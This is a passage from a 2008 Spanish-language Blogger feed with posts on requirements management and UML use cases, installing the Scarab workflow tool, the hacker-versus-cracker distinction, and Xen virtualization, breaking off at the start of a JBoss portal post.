de prototipos.&lt;/li&gt;&lt;li&gt;  Generación de casos de prueba.&lt;/li&gt;&lt;li&gt;  Análisis de consistencia automático con herramientas de software.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Administración de requerimientos.&lt;/span&gt;&lt;br /&gt;Los requerimientos de sistemas grandes o complejos son siempre cambiantes.&lt;br /&gt;Los sistemas grandes usualmente se desarrollan para mejorar el status quo.&lt;br /&gt;Surgirán nuevos requerimientos debido a:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;  Comunidad diversa de usuarios, los requerimientos finales son comúnmente un termino medio.&lt;/li&gt;&lt;li&gt;  Quien paga es raramente quien usa el sistema.&lt;/li&gt;&lt;li&gt;  Entorno del negocio cambiante.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Se debe generar un proceso formal para que todos los cambios propuestos sean tratados de forma consistente.&lt;br /&gt;&lt;br /&gt;Etapas:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;      Análisis del problema y especificación del cambio&lt;/li&gt;&lt;li&gt;      Análisis del cambio y costos&lt;/li&gt;&lt;li&gt;      Implementación del cambio&lt;/li&gt;&lt;/ul&gt;Siempre existe la tentación de hacer un cambio de manera urgente al sistema, y en retrospectiva&lt;br /&gt;modificar el documento de requerimientos. Esto conduce a un desface e inconsistencia&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;      Requerimientos en Normas de calidad&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;MPS-BR:&lt;/span&gt; Norma estándar basada en conceptos similares a los tratados, siguiere la utilización de&lt;br /&gt;UML(casos de uso, secuencia, actividades, estados, etc.) con formato de documentos definidos y&lt;br /&gt;adoptados por la industria como estándar para el modelado y diseño de sistemas con UML.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Propuesta:&lt;/span&gt; Utilización de diagramas UML y Procesos, con un modelo de entrega por etapas con&lt;br /&gt;verificación y administración de requerimientos basado en documentación de la norma estándar IEEE-STD-803-1998&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;                                  Casos de Uso (UML)&lt;/span&gt;&lt;br /&gt;UML, de sus siglas en ingles (Unified Modeling Language) se relaciona directamente con el desarrollo de software orientado a objetos y en este nos encontramos con los casos de uso, los cuales nos apoyan al análisis de los requerimientos como una técnica de adquisición de estos, una definición es que los Casos de Uso no son parte del diseño, sino parte del análisis. De forma que al ser parte del análisis nos ayudan a describir qué es lo que el sistema debe hacer. Los Casos de Uso son lo qué hace el sistema desde el punto de vista del usuario. Es decir, describen un uso del sistema y cómo este interactúa con el usuario.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/SA9qQ9hv5KI/AAAAAAAAAC4/8HA0e3WIfy8/s1600-h/caso_de_uso_pantallazo.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/SA9qQ9hv5KI/AAAAAAAAAC4/8HA0e3WIfy8/s320/caso_de_uso_pantallazo.jpg" alt="" id="BLOGGER_PHOTO_ID_5192485735008036002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Notación de casos de uso:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-ixaLQDJLhI/SA9p7dhv5JI/AAAAAAAAACw/8WPYsYZl66o/s1600-h/Notacion_Caso_de_Uso.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_-ixaLQDJLhI/SA9p7dhv5JI/AAAAAAAAACw/8WPYsYZl66o/s320/Notacion_Caso_de_Uso.jpg" alt="" id="BLOGGER_PHOTO_ID_5192485365640848530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Lo importante de los casos de uso no es el dibujo que acostumbramos a ver, entonces ¿que es lo importante?, Lo realmente útil de los casos de uso es el documento que describe el caso de uso, en este documento se explica la forma de interactuar entre el sistema y el usuario.&lt;br /&gt;Este podría ser el caso de uso de escribir un mensaje en un foro.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SA9quthv5LI/AAAAAAAAADA/9sIQY5Gk3po/s1600-h/ficha_casos_de_uso.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SA9quthv5LI/AAAAAAAAADA/9sIQY5Gk3po/s320/ficha_casos_de_uso.jpg" alt="" id="BLOGGER_PHOTO_ID_5192486246109144242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Herramientas de apoyo&lt;/span&gt;&lt;br /&gt;Es importante para la buena gestión y administración de tareas, las cuales nacen muchas veces de un requerimiento del cliente, contar con una herramienta tecnológica o aplicación que nos apoye en esta gestión, una aplicación de tipo Workflow que nos permita hacer seguimiento de estas tareas que se pueden asignar a los participantes del proyecto.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Mejores Prácticas&lt;/span&gt;&lt;br /&gt;¿Que son las mejores prácticas?&lt;br /&gt;Un conjunto organizado y documentado de principios, métodos y procesos que incrementan la calidad y la productividad en del desarrollo de software.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Mejores practicas orientadas hacia:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; El recurso humano.&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;      Gestión por Roles&lt;/li&gt;&lt;li&gt;      Administración del Tiempo&lt;/li&gt;&lt;li&gt;      Gestión del Conocimiento&lt;/li&gt;&lt;li&gt;      Capacitación basada en competencias&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; El proceso.&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;      Desarrollo Iterativo&lt;/li&gt;&lt;li&gt;      Administración de requisitos&lt;/li&gt;&lt;li&gt;      Uso de arquitectura basada en componentes&lt;/li&gt;&lt;li&gt;      Modelado visual&lt;/li&gt;&lt;li&gt;      Aseguramiento continuo de la calidad&lt;/li&gt;&lt;li&gt;      Administración de cambios&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; El Producto&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;      La Arquitectura&lt;/li&gt;&lt;li&gt;      El Diseño&lt;/li&gt;&lt;li&gt;      Las Base de datos&lt;/li&gt;&lt;li&gt;      Las Pruebas&lt;/li&gt;&lt;li&gt;      La Operación&lt;/li&gt;&lt;/ul&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-ixaLQDJLhI/SA9rDNhv5MI/AAAAAAAAADI/WPejmb4t2Yw/s1600-h/mejores_practicas_en_proceso_diagramas.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_-ixaLQDJLhI/SA9rDNhv5MI/AAAAAAAAADI/WPejmb4t2Yw/s320/mejores_practicas_en_proceso_diagramas.jpg" alt="" id="BLOGGER_PHOTO_ID_5192486598296462530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-206812554668911978?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/206812554668911978/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=206812554668911978' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/206812554668911978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/206812554668911978'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/04/requerimientos.html' title='Requerimientos'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_-ixaLQDJLhI/SA9qQ9hv5KI/AAAAAAAAAC4/8HA0e3WIfy8/s72-c/caso_de_uso_pantallazo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-1967255696956788658</id><published>2008-03-28T11:11:00.005-03:00</published><updated>2008-03-28T11:20:23.062-03:00</updated><title type='text'>Workflow - Scarab</title><content type='html'>Hola, muchas veces en las empresas en que trabajamos es necesario implementar un sistema que haga un seguimiento a distintos casos o actividades, es decir la construcción o implementación de un workflow. Ahora ustedes se preguntaran ¿Que es un Workflow? , en simples palabras, un workflow es el seguimiento a un flujo de trabajo &lt;a href="http://es.wikipedia.org/wiki/WorkFlow"&gt;ver aquí&lt;/a&gt; para más información.&lt;br /&gt;&lt;br /&gt;Los Workflow deben cumplir con los siguientes objetivos (copiado de wikipedia):&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Reflejar, mecanizar y automatizar los métodos y organización en el sistema de información &lt;/li&gt;&lt;li&gt;Establecer los mecanismos de control y seguimiento de los procedimientos organizativos &lt;/li&gt;&lt;li&gt;Independizar el método y flujo de trabajo de las personas que lo ejecutan &lt;/li&gt;&lt;li&gt;Facilitar la movilidad del personal &lt;/li&gt;&lt;li&gt;Soportar procesos de reingeniería de negocio &lt;/li&gt;&lt;li&gt;Agilizar el proceso de intercambio de información y agilizar la toma de decisiones de una organización, empresa o institución&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Ahora que ya sabemos lo que es un workflow, y que además necesitamos implementar uno, veremos como lo haremos.&lt;br /&gt;Existen muchos workflow en el mercado, en el siguiente link hay una lista de ellos, son proyectos Open Source - Workflow Engine in Java.&lt;br /&gt;&lt;br /&gt;Nos centraremos en una aplicación Open Source llamada Scarab de tigris.org, escrita en Java y altamente configurable, trabaja con distintas bases de datos como Oracle, Postgre, Mysql, Hipersonic, etc., Prototype como librería de Ajax, y los mejores estándares abiertos de tecnología J2EE, como base de Workflow ocupa &lt;a href="http://wfmopen.sourceforge.net/"&gt;WfmOpen,&lt;/a&gt; La meta de este proyecto (WfmOpen) es proporcionar una puesta en práctica ligera basada en un motor del worflow J2EE. el cual funcionará en una variedad de plataformas y con licencia GPL.&lt;br /&gt;&lt;br /&gt;Tambien el código fuente se integra fácilmente con ides como eclipse y netbeans, trabajando con ant y maven a gusto del desarrollador, velocity Macro para las paginas y turbine como motor.&lt;br /&gt;&lt;br /&gt;Bueno pongamos manos a la obra y descarguemos el proyecto desde este &lt;a href="http://scarab.tigris.org/servlets/ProjectDocumentList"&gt;link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;bajemos la ultima versión estable, la 0.21, en formato tar.gz o zip, y lo descomprimimos en el directorio donde tengamos nuestros desarrollos, esto nos generara un árbol de archivos como el siguiente:&lt;br /&gt;&lt;br /&gt;slack@ulinux:~/desarrollo/scarab-0.21$&lt;span style="font-weight: bold;"&gt; ls -la&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;total 364&lt;br /&gt;drwxr-xr-x 10 slack slack  4096 2008-03-28 10:26 .&lt;br /&gt;drwxr-xr-x 45 slack slack  4096 2008-03-24 10:06 ..&lt;br /&gt;drwxr-xr-x  3 slack slack  4096 2008-03-27 16:06 bin&lt;br /&gt;drwxr-xr-x  2 slack slack  4096 2008-03-28 09:40 build&lt;br /&gt;-rwxr-xr-x  1 slack slack 10104 2008-03-12 22:38 .classpath&lt;br /&gt;drwxr-xr-x  8 slack slack  4096 2008-03-12 22:36 extensions&lt;br /&gt;-rwxr-xr-x  1 slack slack  9646 2007-02-09 16:28 INSTALL&lt;br /&gt;drwxr-xr-x  2 slack slack  4096 2008-03-12 22:36 lib&lt;br /&gt;-rwxr-xr-x  1 slack slack   175 2007-02-09 16:28 LICENSE&lt;br /&gt;-rwxr-xr-x  1 slack slack 28373 2007-02-09 16:28 maven.xml&lt;br /&gt;-rwxr-xr-x  1 slack slack 18837 2007-02-09 16:28 MIGRATION&lt;br /&gt;-rwxr-xr-x  1 slack slack 14209 2008-03-27 11:44 minimal.properties&lt;br /&gt;-rwxr-xr-x  1 slack slack  3868 2007-02-09 16:28 minimal.xsl&lt;br /&gt;-rwxr-xr-x  1 slack slack   370 2008-03-12 22:38 .project&lt;br /&gt;-rwxr-xr-x  1 slack slack 55009 2008-03-27 15:07 project.properties&lt;br /&gt;-rwxr-xr-x  1 slack slack 28509 2007-02-09 16:28 project.xml&lt;br /&gt;-rwxr-xr-x  1 slack slack  4139 2007-02-09 16:28 project.xsl&lt;br /&gt;-rwxr-xr-x  1 slack slack  3194 2007-02-09 16:28 README&lt;br /&gt;drwxr-xr-x  9 slack slack  4096 2007-02-09 16:34 src&lt;br /&gt;drwxr-xr-x  9 slack slack  4096 2007-02-09 16:34 tomcat&lt;br /&gt;-rwxr-xr-x  1 slack slack 98872 2007-02-09 16:31 velocity.log&lt;br /&gt;-rwxr-xr-x  1 slack slack 14120 2007-02-09 16:28 wizzard.properties&lt;br /&gt;-rwxr-xr-x  1 slack slack  3956 2007-02-09 16:28 wizzard.xsl&lt;br /&gt;drwxr-xr-x  3 slack slack  4096 2007-02-09 16:34 www&lt;br /&gt;drwxr-xr-x  7 slack slack  4096 2008-03-12 22:36 xdocs&lt;br /&gt;&lt;br /&gt;y al montarlo el eclipse quedaría así este proyecto:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/R-z9L1N6SOI/AAAAAAAAACc/8tp2BeN6mwE/s1600-h/scarab_ide_800.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/R-z9L1N6SOI/AAAAAAAAACc/8tp2BeN6mwE/s320/scarab_ide_800.png" alt="" id="BLOGGER_PHOTO_ID_5182795650902411490" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;       &lt;style type="text/css"&gt;  &lt;!--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;p&gt;Entonces ahora tendremos que tener instalada y arriba Mysql la cual ocupa por defecto para el arranque inicial, la podriamos cambiar modificando el archivo minimal.properties de la raiz del proyecto, si ocupamos ANT debemos ir a la carpeta build del proyecto y correr con ant el archivo buid.xml, como muestra la siguiente imagen:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-ixaLQDJLhI/R-z9jFN6SPI/AAAAAAAAACk/bLeaLm9VwBs/s1600-h/scarab_ant_buid.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_-ixaLQDJLhI/R-z9jFN6SPI/AAAAAAAAACk/bLeaLm9VwBs/s320/scarab_ant_buid.png" alt="" id="BLOGGER_PHOTO_ID_5182796050334370034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;    &lt;style type="text/css"&gt;  &lt;!--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;p&gt;Antes de comenzar a deployar la aplicación debemos crear una base de datos llamada scarab en mysql con usuario root por default, luego en el navegador derecho de opciones de ant hacemos doble click en la opción por defecto marcada como deploy [default] y luego que termine en la consola de hacer este deploy si todo va bien debemos generar el war con la opcion war de ant, esto nos generara una carpeta con el nombre target en la raiz del proyecto y dentro de esta el archivo scarab.war que debemos llevar al webapp de tomcat.&lt;/p&gt;  &lt;p&gt;Saludos y mucha suerte !!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-1967255696956788658?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/1967255696956788658/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=1967255696956788658' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/1967255696956788658'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/1967255696956788658'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/03/workflow-scarab.html' title='Workflow - Scarab'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_-ixaLQDJLhI/R-z9L1N6SOI/AAAAAAAAACc/8tp2BeN6mwE/s72-c/scarab_ide_800.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-3550194591031576377</id><published>2008-03-12T14:49:00.002-03:00</published><updated>2008-03-12T15:03:09.303-03:00</updated><title type='text'>Hacker o Cracker?</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/R9ga0ZNfLQI/AAAAAAAAACU/tjWFAeKUoGU/s1600-h/slack-hackers.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/R9ga0ZNfLQI/AAAAAAAAACU/tjWFAeKUoGU/s320/slack-hackers.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5176917259085360386" /&gt;&lt;/a&gt;&lt;br /&gt;Uno de los temas que tiene mucho que ver en esto de la informática y que no está muy claro todavía, es acerca de los hackers. Estas personas tienden a ser confundidas con otro tipo de individuos que son todo lo contrario a ellos...&lt;br /&gt;&lt;br /&gt;En esta primera parte abarcaremos lo que es un hacker - ¿ Acaso no son los hackers los que se pasan tratando de romper las cuentas de hotmail a la gente?&lt;br /&gt;&lt;br /&gt;¿Qué es lo primero que pensamos cuando escuchamos la palabra Hacker?.En un tipo frente a una computadora metiéndose a otra para desconfigurarla o robarle información, o en un tipo programando virus para infectar tu máquina y así perder toda tu información. Muchos usuarios de Internet les temen a estos tipos que incluso cuando saben que tienen uno en su lista de contactos, lo borran y borran todo lo relacionado con este, creyendo evitar así ser espiados, este tipo de personas asociados a un mundo medio under ground, de musica rock, bar de rene, o de la noche, etc... no somos tan malos, jjj.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En cambio otros (especialmente los principiantes) adoran a estos hackers y pasan días enteros buscando información de como convertirse en uno de ellos, y cuando se topan con uno quieren convertirse en su pupilo y aprender todas la magias que encierra a estos individuos denominados hackers por la sociedad.&lt;br /&gt;&lt;br /&gt;Pero oh! Error señores, estos no son los verdaderos hackers. Los hackers de verdad no destruyen.... Construyen.&lt;br /&gt;&lt;br /&gt;Todos estos individuos que se la pasan saboteando equipos no son más que Crackers que se dedican a crackear cuentas con el único fin de perjudicar a otros. Los Hackers en cambio son tipos rudos en la programación y tecnología o en la creación de soluciones a problemas, autodidactas, etc.&lt;br /&gt;&lt;br /&gt;La sociedad ha denominado hackers a los crackers y esto a los hackers de verdad no les causa la menor de las gracias pues ellos están para construir, desarrollar soluciones, y descubrir fallos de seguridad en los sistemas que investigan, no para destruir y sabotear.&lt;br /&gt;&lt;br /&gt;Un hacker no dice: Soy un Hacker!. la comunidad de hackers es la que lo denomina como tal, por sus características y esfuerzo al realizar una aplicación o al contribuir a la solución de un problema.&lt;br /&gt;&lt;br /&gt;"Los hackers resuelven problemas y construyen cosas, y creen en la libertad y la ayuda voluntaria mutua. Para ser aceptado como hacker, deberás comportarte como si tuvieras esta actitud en tu interior. Y para comportarte como si tuvieras esta actitud, deberás creerte de verdad dicha actitud".&lt;br /&gt;&lt;br /&gt;"Pero si piensas en cultivar las actitudes de hacker sólo como una forma de ganar aceptación en esta cultura, te estás equivocando. Transformarse en la clase de persona que cree estas cosas es importante para ti para ayudarte a aprender y mantenerte motivado. Como en todas las artes creativas, el modo más efectivo de transformarse en un maestro es imitar la mentalidad de los maestros no sólo intelectualmente, sino también emocionalmente".&lt;br /&gt;&lt;br /&gt;Los hackers son autodidactas, y es para ellos todo un reto el resolver un problema. Entre mas grande sea el problema a resolver, mas interesante se hace el reto para un hacker de solucionarlo.&lt;br /&gt;&lt;br /&gt;Linux es un ejemplo de una plataforma creada por hackers. Linux es un sistema operativo muy usado por los hackers, en el desarrollan aplicaciones, y crean soluciones a distintos problemas que tiene la comunidad linux, como la falta de algunas aplicaciones o la actualización de otras, etc. Estas aplicaciones van desde una página web hasta un sistema operativo completo.&lt;br /&gt;&lt;br /&gt;La comunidad hacker esta en la red, y se encuentra en distintas comunidades y foros en lo ancho del Internet. Algunos son Moderadores y pasan largas jornadas leyendo problemas y aportando soluciones. Otros participan en proyectos de software y aportan código u optimizan código para los proyectos, en realidad son comunidad abierta al conocimiento.&lt;br /&gt;&lt;br /&gt;Los hackers son los que le han dado forma a lo que hoy conocemos como Internet y su aportación es muy importante en el desarrollo informático. No solo son programadores, los hay desarrolladores y podría decir que también algunos solo son autodidactas y adictivos a la informatica.&lt;br /&gt;&lt;br /&gt;Así que si la próxima vez quieres robar una cuenta de Hotmail y ser un gran hacker.. serás mas bien un cracker! (¡lamer es el término adecuado!). En vez de robar mejor: "aporta y crea soluciones para la comunidad... se autodidacta, sé un hacker!!.&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-3550194591031576377?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/3550194591031576377/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=3550194591031576377' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3550194591031576377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3550194591031576377'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/03/hacker-o-cracker.html' title='Hacker o Cracker?'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_-ixaLQDJLhI/R9ga0ZNfLQI/AAAAAAAAACU/tjWFAeKUoGU/s72-c/slack-hackers.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5265616539524777250</id><published>2008-02-21T10:01:00.005-03:00</published><updated>2008-02-21T11:25:54.974-03:00</updated><title type='text'>Virtualización de Servidores</title><content type='html'>La virtualización es la capacidad de poder generar 'n' ambientes de sistemas operativos en un mismo hardware manteniendo un alto performance y rendimiento por cada uno de ellos, pudiendo además poder implementar clustering entre estos sistemas para balanceo de cargas y poder mantener los servicios 99.99% del tiempo arriba.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/R72J1jFiSBI/AAAAAAAAACM/mBCYRPH4G5U/s1600-h/control-optimization_xen.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/R72J1jFiSBI/AAAAAAAAACM/mBCYRPH4G5U/s320/control-optimization_xen.png" alt="" id="BLOGGER_PHOTO_ID_5169439500335728658" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Un plan de virtualización define etapas de investigación y pruebas para una correcta implementación de este concepto en nuestras maquinas, la principal ventaja de la virtualización de servidores es, aprovechar los escasos recursos de equipamiento de servidores para poder generar un amplio ambiente virtual con n maquinas servidoras.&lt;br /&gt;&lt;br /&gt;En Linux existe Xen (Open Source) para Virtualización de servidores, Xen es una maquina virtual de código abierto desarrollada en la universidad de Cambridge, recientemente Amazon comenzó a brindar servicios de Computadores bajo demanda utilizando Xen como el núcleo del servicio. Xen ha  tenido gran éxito y es mantenido por una comunidad muy activa dentro del desarrollo de Software Open Source.&lt;br /&gt;&lt;br /&gt;En la actualidad los fabricantes de hardware y CPU como Intel y Amd han dado soporte para la virtualización, y seguramente es la mejor implementación que se puede adoptar para un mantener un alto performance y rendimiento de los servicios de sistemas y web que se ofrecen.&lt;br /&gt;&lt;br /&gt;Las técnicas de Virtualización deben contemplar la virtualización de todo el hardware, mas específicamente la virtualización de la CPU, Memoria, discos duros y hardware de entrada y salida.&lt;br /&gt;&lt;br /&gt;Xen se puede configurar de manera transparente y compleja con muchos pasos. a diferencia de aplicaciones como VMWare, Xen se codifica básicamente en el kernel de Linux y se gestiona con un servicio que administra las maquinas virtuales, esa es la ventaja que nos puede proveer Xen al ser implementado en Un Sistema Operativo de código abierto como Linux.&lt;br /&gt;&lt;br /&gt;Xen proporciona aislamiento seguro, control de recursos, garantías de calidad de servicio y migración de máquinas virtuales en caliente. Los sistemas operativos deben ser modificados explícitamente para correr Xen (aunque manteniendo la compatibilidad con aplicaciones de usuario). Esto permite a Xen alcanzar virtualización de alto rendimiento sin un soporte especial de hardware pero si con su compatibilidad.&lt;br /&gt;&lt;br /&gt;Las máquinas virtuales Xen pueden ser migradas en caliente entre equipos físicos sin pararlos. Durante este proceso, la memoria de la máquina virtual es copiada iterativamente al destino sin detener su ejecución. Una parada muy breve de alrededor de 60 a 300 ms es necesaria para realizar la sincronización final antes de que la máquina virtual comience a ejecutarse en su destino final. Una tecnología similar es utilizada para suspender las máquinas virtuales a disco y cambiar a otra máquina virtual.&lt;br /&gt;&lt;br /&gt;Para poder implementar Xen de manera exitosa en cualquier compañía debemos facilitar los recursos necesarios y proponer un plan de pruebas eficiente para su correcta implementación.&lt;br /&gt;&lt;br /&gt;Algunos link recomendados:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://es.wikipedia.org/wiki/Xen"&gt;http://es.wikipedia.org/wiki/Xen&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.xen.org/"&gt;http://www.xen.org/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.citrixxenserver.com/Pages/default.aspx"&gt;http://www.citrixxenserver.com/Pages/default.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-5265616539524777250?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/5265616539524777250/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=5265616539524777250' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5265616539524777250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/5265616539524777250'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/02/virtualizacin-de-servidores.html' title='Virtualización de Servidores'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_-ixaLQDJLhI/R72J1jFiSBI/AAAAAAAAACM/mBCYRPH4G5U/s72-c/control-optimization_xen.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-5410123723894596166</id><published>2008-02-11T12:30:00.000-03:00</published><updated>2008-02-11T14:07:28.499-03:00</updated><title type='text'>Configurando Jboss portal para postgresql</title><content type='html'>Hola, en la actualidad y desde hace un tiempo las empresas implementan portales para dar soluciones de escala empresarial a sus clientes, uno de los portales que mas se utilizan es jboos portal, debido a que es open source y altamente robusto.&lt;br /&gt;Un portal empresarial como jboos portal cumple con varias caracteristicas que nos aseguran una buena gestión y administración de portales para nuestros clientes, las caracteristicas tecnicas 